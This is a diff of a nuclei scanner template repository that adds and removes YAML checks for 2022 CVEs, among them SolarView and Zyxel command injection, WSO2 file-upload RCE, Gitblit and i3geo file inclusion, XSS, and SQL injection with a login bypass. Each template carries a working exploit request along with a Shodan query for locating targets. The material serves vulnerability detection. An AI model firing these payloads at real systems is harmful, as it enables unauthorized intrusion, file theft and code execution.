b/nuclei-templates/CVE-2022/cve-2022-29303.yaml new file mode 100644 index 0000000000..3f9b0f07ff --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29303.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-29303 + +info: + name: SolarView Compact 6.00 - OS Command Injection + author: badboycxcc + severity: critical + description: | + SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the system. + remediation: | + Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00. + reference: + - https://www.exploit-db.com/exploits/50940 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 + - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing + - http://packetstormsecurity.com/files/167183/SolarView-Compact-6.0-Command-Injection.html + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29303 + cwe-id: CWE-78 + epss-score: 0.9598 + epss-percentile: 0.99429 + cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: contec + product: sv-cpt-mc310_firmware + shodan-query: http.html:"SolarView Compact" + tags: cve,cve2022,injection,solarview,edb,packetstorm,rce,kev,contec +variables: + cmd: "cat${IFS}/etc/passwd" + +http: + - raw: + - | + @timeout: 25s + POST /conf_mail.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0" + + - type: word + part: body + words: + - "p1_network_mail.cgi" +# digest: 4a0a00473045022100cfdae160b8d20debb49ab77a03efc5984e3595e0738b0153de27449eb8cf254c022008bf10a1ac0f9b524841d022daae36b4b0b105ddae1296e300fb87c886200617:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29464.yaml b/nuclei-templates/CVE-2022/cve-2022-29464.yaml deleted file mode 100644 index be282d3374..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-29464.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2022-29464 - -info: - name: WSO2 Management - Arbitrary File Upload & Remote Code Execution - author: luci,dhiyaneshDk - severity: critical - description: | - Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. - impact: | - Successful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system. - remediation: | - Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability. - reference: - - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ - - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - - https://github.com/hakivvi/CVE-2022-29464 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - - http://www.openwall.com/lists/oss-security/2022/04/22/7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-29464 - cwe-id: CWE-22 - epss-score: 0.97146 - epss-percentile: 0.99783 - cpe: cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: wso2 - product: api_manager - shodan-query: http.favicon.hash:1398055326 - tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev - -http: - - raw: - - | - POST /fileupload/toolsAny HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311 - Content-Length: 348 - - -----------------------------250033711231076532771336998311 - Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp" - Content-Type: application/octet-stream - - <% out.print("WSO2-RCE-CVE-2022-29464"); %> - -----------------------------250033711231076532771336998311-- - - | - GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" -# digest: 4a0a0047304502206626d39352045dab0703dbd61d9cecafd6e7f18e8d9316bef52d936ca126b399022100d448de4461fe4835998a05ef187668142f89f7025b11abe66e0e3305508c1171:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30489.yaml b/nuclei-templates/CVE-2022/cve-2022-30489.yaml new file mode 100644 index 0000000000..fa8e443a15 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-30489.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-30489 + +info: + name: Wavlink WN-535G3 - Cross-Site Scripting + author: For3stCo1d + severity: medium + description: | + Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Apply the latest firmware update provided by the vendor to mitigate this vulnerability. + reference: + - https://github.com/badboycxcc/XSS-CVE-2022-30489 + - https://github.com/badboycxcc/XSS + - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30489 + cwe-id: CWE-79 + epss-score: 0.00088 + epss-percentile: 0.36947 + cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: wavlink + product: wn535g3_firmware + shodan-query: http.title:"Wi-Fi APP Login" + tags: cve,cve2022,xss,wavlink,router,iot + +http: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn + + matchers-condition: and + matchers: + - type: word + words: + - '' + - 'parent.location.replace("http://")' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a00473045022100e403fa95c8208dca72c7387425cba8c129e7dfa20d8dab4a96911b406fba2cc1022048e179973aa2f40b253ff07bb159c86d5da40b59437535549c3ee912cc28f201:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30525.yaml b/nuclei-templates/CVE-2022/cve-2022-30525.yaml deleted file mode 100644 index 4e8a29bb38..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30525.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2022-30525 - -info: - name: Zyxel Firewall - OS Command Injection - author: h1ei1,prajiteshsingh - severity: critical - description: | - An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system. - remediation: | - Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. - reference: - - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - - https://github.com/rapid7/metasploit-framework/pull/16563 - - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-30525 - cwe-id: CWE-78 - epss-score: 0.97482 - epss-percentile: 0.99967 - cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: zyxel - product: usg_flex_100w_firmware - shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" - tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce - -http: - - raw: - - | - POST /ztp/cgi-bin/handler HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - - - type: status - status: - - 500 -# digest: 4b0a00483046022100d2611a4bbd37c92e10c7c04c5287817c5276dc06e9595aa43f4c7e2d7f9d6f32022100e8b1382edb51ac7f80e2006d4ef501e49d529af2ea63b39cb9842b574f17f6db:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30776.yaml b/nuclei-templates/CVE-2022/cve-2022-30776.yaml deleted file mode 100644 index f912a8432c..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-30776.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2022-30776 - -info: - name: Atmail 6.5.0 - Cross-Site Scripting - author: 3th1c_yuk1 - severity: medium - description: | - Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. - remediation: | - Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability. - reference: - - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 - - https://www.atmail.com/ - - https://help.atmail.com/hc/en-us/sections/115003283988 - - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 - - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-30776 - cwe-id: CWE-79 - epss-score: 0.00112 - epss-percentile: 0.43631 - cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: atmail - product: atmail - shodan-query: http.html:"atmail" - tags: cve2022,cve,atmail,xss - -http: - - method: GET - path: - - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Error: 1" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a0047304502210098e7e92637618d4c3c5540938565842f9d2479c1b7a7ca9a9333b2e0bf64a29b022077e0d1d54bd671842a9ba69fdbad1ed67e8c6f085c3235fde69b2d9e18009833:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-30777.yaml b/nuclei-templates/CVE-2022/cve-2022-30777.yaml new file mode 100644 index 0000000000..d36995911c --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-30777.yaml @@ -0,0 +1,56 @@ +id: CVE-2022-30777 + +info: + name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability. + reference: + - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 + - https://en.wikipedia.org/wiki/H-Sphere + - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 + - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30777 + cwe-id: CWE-79 + epss-score: 0.00087 + epss-percentile: 0.36061 + cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: parallels + product: h-sphere + shodan-query: title:"h-sphere" + tags: cve,cve2022,parallels,hsphere,xss + +http: + - method: GET + path: + - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + words: + - '"><script>alert(document.domain)</script>' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 4a0a004730450220193f90816efc79d2ac468c37e58a42add449c9c53f48ed07934c74f756d9550d022100bc87714095325fe51d81827336aa365718a61f67c95e590fea50198ba245e3eb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-31268.yaml b/nuclei-templates/CVE-2022/cve-2022-31268.yaml deleted file mode 100644 index 061d0ca131..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-31268.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2022-31268 - -info: - name: Gitblit 1.9.3 - Local File Inclusion - author: 0x_Akoko - severity: high - description: | - Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname). - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system. - remediation: | - Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268). - reference: - - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md - - https://vuldb.com/?id.200500 - - https://nvd.nist.gov/vuln/detail/CVE-2022-31268 - - https://github.com/Marcuccio/kevin - - https://github.com/20142995/sectool - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-31268 - cwe-id: CWE-22 - epss-score: 0.00618 - epss-percentile: 0.76574 - cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: gitblit - product: gitblit - shodan-query: http.html:"Gitblit" - tags: cve,cve2022,lfi,gitblit - -http: - - method: GET - path: - - "{{BaseURL}}/resources//../WEB-INF/web.xml" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "</web-app>" - - "java.sun.com" - - "gitblit.properties" - condition: and - - - type: word - part: header - words: - - "application/xml" - - - type: status - status: - - 200 -# digest: 4b0a00483046022100e2e1fcaa58d2dee7545ceebd7a5676ce15a39fc9158480ee7246e0b44b801c19022100bd5e8b3b6dea5d148c40a77c6183f6e003c34e77f22ac9d017f7b00b202f9952:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32015.yaml b/nuclei-templates/CVE-2022/cve-2022-32015.yaml new file mode 100644 index 0000000000..3fff028ab9 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32015.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-32015 + +info: + name: Complete Online Job Search System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=category&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32015 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32015 + cwe-id: CWE-89 + epss-score: 0.01426 + epss-percentile: 0.8625 + cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: complete_online_job_search_system_project + product: complete_online_job_search_system + tags: cve,cve2022,sqli,jobsearch,complete_online_job_search_system_project +variables: + num: "999999999" + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+" + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' +# digest: 4b0a00483046022100c34036939ef2413c02af88cb8e86ecd6b3be7f27866b7d0ca21d3b7a269e47a8022100cf88f059ea7f102348f18a69cc9b78e11fc69e56a09b123e5a590fee4b261619:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32018.yaml b/nuclei-templates/CVE-2022/cve-2022-32018.yaml new file mode 100644 index 0000000000..03f4f75f3c --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32018.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-32018 + +info: + name: Complete Online Job Search System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System 1.0 contains a SQL injection vulnerability via /eris/index.php?q=hiring&search=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database or modify its contents. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Complete Online Job Search System 1.0. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32018 + cwe-id: CWE-89 + epss-score: 0.01426 + epss-percentile: 0.8625 + cpe: cpe:2.3:a:complete_online_job_search_system_project:complete_online_job_search_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: complete_online_job_search_system_project + product: complete_online_job_search_system + tags: cve,cve2022,sqli,complete_online_job_search_system_project +variables: + num: "999999999" + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' +# digest: 4a0a0047304502205ba4dd1e28ba762599b6a5ab360d76fec10ab36095eea39b5350f66c6ccfdd4a022100e512574c97e4dd07fb068fe1ad699e8401d927211f5932a38f70608192d06c77:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32022.yaml b/nuclei-templates/CVE-2022/cve-2022-32022.yaml new file mode 100644 index 0000000000..63f2d90739 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32022.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-32022 + +info: + name: Car Rental Management System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/ajax.php?action=login. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential manipulation of the database. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32022 + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32022 + cwe-id: CWE-89 + epss-score: 0.00897 + epss-percentile: 0.80882 + cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: car_rental_management_system_project + product: car_rental_management_system + shodan-query: http.html:"Car Rental Management System" + tags: cve,cve2022,carrental,cms,sqli,login-bypass,car_rental_management_system_project + +http: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin'+or+'1'%3D'1'%23&password=admin + - | + GET /admin/index.php?page=home HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Welcome back Administrator!' + - 'action=logout' + - 'Manage Account' + condition: and + + - type: status + status: + - 200 +# digest: 490a004630440220725a329ba41785dd96c0939334b9a1e78af7fa6421aeef4df6d2dd933c44115c0220351e53b8bd40ec2dea1271b2162432124266cbf982ff3f9fc1eaf8903b8207ae:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32024.yaml b/nuclei-templates/CVE-2022/cve-2022-32024.yaml new file mode 100644 index 0000000000..316fc83d33 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32024.yaml @@ -0,0 +1,59 @@ +id: CVE-2022-32024 + +info: + name: Car Rental Management System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System 1.0 contains an SQL injection vulnerability via /booking.php?car_id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or even complete compromise of the system. + remediation: | + Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Car Rental Management System 1.0. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32024 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32024 + cwe-id: CWE-89 + epss-score: 0.00834 + epss-percentile: 0.80157 + cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: car_rental_management_system_project + product: car_rental_management_system + shodan-query: http.html:"Car Rental Management System" + comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. + tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project +variables: + num: "999999999" + +http: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 +# digest: 4a0a0047304502203b4e45ad6997926ec06328175be051f4173ad99349811ce498ebfabf77cfadec022100ebd9ee62670283e68f73cff5756332ebb4f4b7d010c5a102bcdfa61f6967c540:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32028.yaml b/nuclei-templates/CVE-2022/cve-2022-32028.yaml new file mode 100644 index 0000000000..bd9a8b794a --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-32028.yaml @@ -0,0 +1,62 @@ +id: CVE-2022-32028 + +info: + name: Car Rental Management System 1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_user.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32028 + cwe-id: CWE-89 + epss-score: 0.01426 + epss-percentile: 0.8625 + cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: car_rental_management_system_project + product: car_rental_management_system + shodan-query: http.html:"Car Rental Management System" + comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. + tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project +variables: + num: "999999999" + +http: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 +# digest: 4b0a00483046022100df821f457de97d0880a4be9f79b9a08294cffaaf8b36b5f573415af2fcc073ec022100c1bf7e95967be2f3096198251b61f794654b302d661afc789ad82c93f886f2e5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-32409.yaml b/nuclei-templates/CVE-2022/cve-2022-32409.yaml deleted file mode 100644 index 970cc96d0e..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-32409.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2022-32409 - -info: - name: Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion - author: pikpikcu - severity: critical - description: Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request. - impact: | - An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. - remediation: | - Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability. - reference: - - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt - - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion - - https://nvd.nist.gov/vuln/detail/CVE-2022-32409 - - https://github.com/ARPSyndicate/cvemon - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-32409 - cwe-id: CWE-22 - epss-score: 0.47251 - epss-percentile: 0.97372 - cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: softwarepublico - product: i3geo - shodan-query: http.html:"i3geo" - tags: cve2022,cve,i3geo,lfi,softwarepublico - -http: - - method: GET - path: - - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 -# digest: 4a0a00473045022072e312e8df1571351e7a21ca6317934960724f0071495fe4169ca5b013300dcd022100cc5ac2a8a33a0acc037a5db55a65ebb9f5ae1937caac9aededb4a8a59ab3ec56:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-32444.yaml b/nuclei-templates/CVE-2022/cve-2022-32444.yaml similarity index 100% rename from nuclei-templates/CVE-2022/CVE-2022-32444.yaml rename to nuclei-templates/CVE-2022/cve-2022-32444.yaml diff --git a/nuclei-templates/CVE-2022/cve-2022-33174.yaml b/nuclei-templates/CVE-2022/cve-2022-33174.yaml new file mode 100644 index 